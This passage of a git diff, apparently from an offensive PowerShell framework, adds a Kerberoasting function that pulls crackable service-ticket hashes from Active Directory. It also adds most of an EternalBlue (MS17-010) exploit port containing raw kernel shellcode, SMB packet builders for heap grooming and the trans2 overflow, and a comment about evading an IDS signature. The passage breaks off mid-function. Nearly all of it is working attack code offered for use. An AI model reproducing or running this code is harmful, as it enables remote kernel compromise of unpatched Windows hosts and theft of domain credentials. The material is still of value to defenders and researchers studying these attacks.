result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } $User - } | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments - - $Results.dispose() + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } $UserSearcher.dispose() } } } + + +function Invoke-Kerberoast { +<# +.SYNOPSIS +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket +.DESCRIPTION +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat . +.PARAMETER Identity +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. +.PARAMETER Domain +Specifies the domain to use for the query, defaults to the current domain. +.PARAMETER LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. +.PARAMETER SearchBase +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. +.PARAMETER Server +Specifies an Active Directory server (domain controller) to bind to. +.PARAMETER SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). +.PARAMETER ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. +.PARAMETER ServerTimeLimit +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. +.PARAMETER Tombstone +Switch. Specifies that the searcher should also return deleted/tombstoned objects. +.PARAMETER OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. +.PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +.EXAMPLE +Invoke-Kerberoast | fl +Kerberoasts all found SPNs for the current domain. +.EXAMPLE +Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl +Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat +format instead of John (the default). +.EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. +.OUTPUTS +PowerView.SPNTicket +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} \ No newline at end of file diff --git a/data/module_source/exploitation/Exploit-EternalBlue.ps1 b/data/module_source/exploitation/Exploit-EternalBlue.ps1 new file mode 100755 index 000000000..0677ed11b --- /dev/null +++ b/data/module_source/exploitation/Exploit-EternalBlue.ps1 @@ -0,0 +1,713 @@ + + +function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode){ + +<# + .SYNOPSIS + PowerShell port of MS17_010 Metasploit module + Based on Eternal Blue metasploit module by Sean Dillon ', + # @zerosum0x0 'Dylan Davis ', + # @jennamagius + + .PARAMETER Target. + Host to exploit + .PARAMETER InitialGrooms + Initial Grooms. + .PARAMETER MaxAttempts + number of times to run exploit + .PARAMETER ShellCode + ShellCode to execute on exploit + + + .EXAMPLE + Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 12 -MaxAttempts 12 -Shellcode @(0x90,0x90,0xC3) +#> + + +$enc = [system.Text.Encoding]::ASCII + + +$GROOM_DELTA = 5 + + +function make_kernel_shellcode { + [Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF, +0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2, +0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10, +0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52, +0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41, +0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A, +0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00, +0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00, +0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1, +0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48, +0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8, +0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83, +0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59, +0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00, +0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41, +0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83, +0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00, +0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81, +0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41, +0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6, +0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48, +0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39, +0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2, +0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00, +0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2, +0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3, +0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00, +0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10, +0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00, +0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00, +0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7, +0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00, +0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00, +0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00, +0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48, +0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB, +0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48, +0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C, +0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB, +0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41, +0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89, +0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31, +0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41, +0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58, +0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00, +0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89, +0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D, +0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00, +0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20, +0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48, +0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F, +0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41, +0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A, +0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B, +0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B, +0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88, +0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B, +0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01, +0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41, +0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20, +0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51, +0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41, +0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F, +0x5E,0xC3) +return $shellcode +} + +function make_kernel_user_payload($ring3) { + $sc = make_kernel_shellcode + $sc += [bitconverter]::GetBytes([uint16] ($ring3.length)) + $sc += $ring3 + return $sc + } +function make_smb2_payload_headers_packet(){ + [Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124 + + return $pkt +} + +function make_smb2_payload_body_packet($kernel_user_payload) { + $pkt_max_len = 4204 + $pkt_setup_len = 497 + $pkt_max_payload = $pkt_max_len - $pkt_setup_len + + #padding + [Byte[]] $pkt = [Byte[]] (0x00) * 0x8 + $pkt += 0x03,0x00,0x00,0x00 + $pkt += [Byte[]] (0x00) * 0x1c + $pkt += 0x03,0x00,0x00,0x00 + $pkt += [Byte[]] (0x00) * 0x74 + +# KI_USER_SHARED_DATA addresses + $pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address + $pkt += [Byte[]] (0x00) * 0x10 + $pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address + $pkt += [Byte[]] (0x00) * 0xc4 + + # payload addreses + $pkt += 0x90,0xf1,0xdf,0xff + $pkt += [Byte[]] (0x00) * 0x4 + $pkt += 0xf0,0xf1,0xdf,0xff + $pkt += [Byte[]] (0x00) * 0x40 + + $pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += 0x00 + + $pkt += $kernel_user_payload + + # fill out the rest, this can be randomly generated + $pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length) + + return $pkt +} + +function make_smb1_echo_packet($tree_id, $user_id) { + [Byte[]] $pkt = [Byte[]] (0x00) # type + $pkt += 0x00,0x00,0x31 # len = 49 + $pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1 + $pkt += 0x2b # Echo + $pkt += 0x00,0x00,0x00,0x00 # Success + $pkt += 0x18 # flags + $pkt += 0x07,0xc0 # flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $tree_id # Tree ID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexIDs + + $pkt += 0x01 # Word count + $pkt += 0x01,0x00 # Echo count + $pkt += 0x0c,0x00 # Byte count + + # echo data + # this is an existing IDS signature, and can be nulled out + #$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00 + $pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00 + return $pkt +} + +function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) { + $timeout = ($timeout * 0x10) + 3 + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x10,0x35 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x33 # Trans2 request + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $user_id # TreeID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexIDs + + $pkt += 0x09 # Word Count + $pkt += 0x00,0x00 # Total Param Count + $pkt += 0x00,0x10 # Total Data Count + $pkt += 0x00,0x00 # Max Param Count + $pkt += 0x00,0x00 # Max Data Count + $pkt += 0x00 # Max Setup Count + $pkt += 0x00 # Reserved + $pkt += 0x00,0x10 # Flags + $pkt += 0x35,0x00,0xd0 # Timeouts + $pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x10 # Parameter Count + + #$pkt += 0x74,0x70 # Parameter Offset + #$pkt += 0x47,0x46 # Data Count + #$pkt += 0x45,0x6f # Data Offset + #$pkt += 0x4c # Setup Count + #$pkt += 0x4f # Reserved + + if ($type -eq "eb_trans2_exploit") { + + $pkt += [Byte[]] (0x41) * 2957 + + $pkt += 0x80,0x00,0xa8,0x00 # overflow + + $pkt += [Byte[]] (0x00) * 0x10 + $pkt += 0xff,0xff + $pkt += [Byte[]] (0x00) * 0x6 + $pkt += 0xff,0xff + $pkt += [Byte[]] (0x00) * 0x16 + + $pkt += 0x00,0xf1,0xdf,0xff # x86 addresses + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x20,0xf0,0xdf,0xff + + $pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64 + + $pkt += 0x60,0x00,0x04,0x10 + $pkt += [Byte[]] (0x00) * 4 + + $pkt += 0x80,0xef,0xdf,0xff + + $pkt += [Byte[]] (0x00) * 4 + $pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x10 + + $pkt += 0x60,0x00,0x04,0x10 + $pkt += [Byte[]] (0x00) * 0xc + $pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x80,0x10 + $pkt += [Byte[]] (0x00) * 0xe + $pkt += 0x39 + $pkt += 0xbb + + $pkt += [Byte[]] (0x41) * 965 + + return $pkt + } + + if($type -eq "eb_trans2_zero") { + $pkt += [Byte[]] (0x00) * 2055 + $pkt += 0x83,0xf3 + $pkt += [Byte[]] (0x41) * 2039 + #$pkt += 0x00 * 4096 + } + else { + $pkt += [Byte[]] (0x41) * 4096 + } + + return $pkt + } +function negotiate_proto_request() +{ + + [Byte[]] $pkt = [Byte[]] (0x00) # Message_Type + $pkt += 0x00,0x00,0x54 # Length + + $pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB + $pkt += 0x72 # smb_command: Negotiate Protocol + $pkt += 0x00,0x00,0x00,0x00 # nt_status + $pkt += 0x18 # flags + $pkt += 0x01,0x28 # flags2 + $pkt += 0x00,0x00 # process_id_high + $pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature + $pkt += 0x00,0x00 # reserved + $pkt += 0x00,0x00 # tree_id + $pkt += 0x2F,0x4B # process_id + $pkt += 0x00,0x00 # user_id + $pkt += 0xC5,0x5E # multiplex_id + + $pkt += 0x00 # word_count + $pkt += 0x31,0x00 # byte_count + + # Requested Dialects + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12 + + return $pkt +} + + +function make_smb1_nt_trans_packet($tree_id, $user_id) { + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x04,0x38 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0xa0 # NT Trans + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $tree_id # TreeID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexID + + $pkt += 0x14 # Word Count + $pkt += 0x01 # Max Setup Count + $pkt += 0x00,0x00 # Reserved + $pkt += 0x1e,0x00,0x00,0x00 # Total Param Count + $pkt += 0xd0,0x03,0x01,0x00 # Total Data Count + $pkt += 0x1e,0x00,0x00,0x00 # Max Param Count + $pkt += 0x00,0x00,0x00,0x00 # Max Data Count + $pkt += 0x1e,0x00,0x00,0x00 # Param Count + $pkt += 0x4b,0x00,0x00,0x00 # Param Offset + $pkt += 0xd0,0x03,0x00,0x00 # Data Count + $pkt += 0x68,0x00,0x00,0x00 # Data Offset + $pkt += 0x01 # Setup Count + $pkt += 0x00,0x00 # Function + $pkt += 0x00,0x00 # Unknown NT transaction (0) setup + $pkt += 0xec,0x03 # Byte Count + $pkt += [Byte[]] (0x00) * 0x1f # NT Parameters + + # undocumented + $pkt += 0x01 + $pkt += [Byte[]](0x00) * 0x3cd + return $pkt + } + + function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) { + + [Byte[]] $pkt = 0x00 # Session message + $pkt += 0x00,0x00,0x51 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x73 # Session Setup AndX + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += $flags2 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x00 # TreeID + $pkt += 0xff,0xfe # PID + $pkt += 0x00,0x00 # UserID + $pkt += 0x40,0x00 # MultiplexID + #$pkt += 0x00,0x00 # Reserved + + $pkt += 0x0c # Word Count + $pkt += 0xff # No further commands + $pkt += 0x00 # Reserved + $pkt += 0x00,0x00 # AndXOffset + $pkt += 0x04,0x11 # Max Buffer + $pkt += 0x0a,0x00 # Max Mpx Count + $pkt += $vcnum # VC Number + $pkt += 0x00,0x00,0x00,0x00 # Session key + $pkt += 0x00,0x00 # Security blob length + $pkt += 0x00,0x00,0x00,0x00 # Reserved + $pkt += 0x00,0x00,0x00,0x80 # Capabilities + $pkt += 0x16,0x00 # Byte count + #$pkt += 0xf0 # Security Blob: + #$pkt += 0xff,0x00,0x00,0x00 # Native OS + #$pkt += 0x00,0x00 # Native LAN manager + #$pkt += 0x00,0x00 # Primary domain + $pkt += $native_os + $pkt += [Byte[]] (0x00) * 17 # Extra byte params + + return $pkt + } + + function make_smb1_anonymous_login_packet { + # Neither Rex nor RubySMB appear to support Anon login? + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x00,0x88 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x73 # Session Setup AndX + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # TreeID + $pkt += 0xff,0xfe # PID + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x00 # UserID + $pkt += 0x40,0x00 # MultiplexID + + $pkt += 0x0d # Word Count + $pkt += 0xff # No further commands + $pkt += 0x00 # Reserved + $pkt += 0x88,0x00 # AndXOffset + $pkt += 0x04,0x11 # Max Buffer + $pkt += 0x0a,0x00 # Max Mpx Count + $pkt += 0x00,0x00 # VC Number + $pkt += 0x00,0x00,0x00,0x00 # Session key + $pkt += 0x01,0x00 # ANSI pw length + $pkt += 0x00,0x00 # Unicode pw length + $pkt += 0x00,0x00,0x00,0x00 # Reserved + $pkt += 0xd4,0x00,0x00,0x00 # Capabilities + $pkt += 0x4b,0x00 # Byte count + $pkt += 0x00 # ANSI pw + $pkt += 0x00,0x00 # Account name + $pkt += 0x00,0x00 # Domain name + + # Windows 2000 2195 + $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32 + $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00 + $pkt += 0x00,0x00 + + # Windows 2000 5.0 + $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32 + $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00 + + return $pkt +} + + +function tree_connect_andx_request($Target, $userid) { + + [Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type' + $pkt +=0x00,0x00,0x47 #$pkt +=Length' + + + $pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB + $pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX + $pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status' + $pkt +=0x18 #$pkt +=flags' + $pkt +=0x01,0x20 #$pkt +=flags2' + $pkt +=0x00,0x00 #$pkt +=process_id_high' + $pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature' + $pkt +=0x00,0x00 #$pkt +=reserved' + $pkt +=0x00,0x00 #$pkt +=tree_id' + $pkt +=0x2F,0x4B #$pkt +=process_id' + $pkt += $userid #$pkt +=user_id' + $pkt +=0xC5,0x5E #$pkt +=multiplex_id' + + + $ipc = "\\"+ $Target + "\IPC$" + + $pkt +=0x04 # Word Count + $pkt +=0xFF # AndXCommand: No further commands + $pkt +=0x00 # Reserved + $pkt +=0x00,0x00 # AndXOffset + $pkt +=0x00,0x00 # Flags + $pkt +=0x01,0x00 # Password Length + $pkt +=0x1A,0x00 # Byte Count + $pkt +=0x00 # Password + $pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # 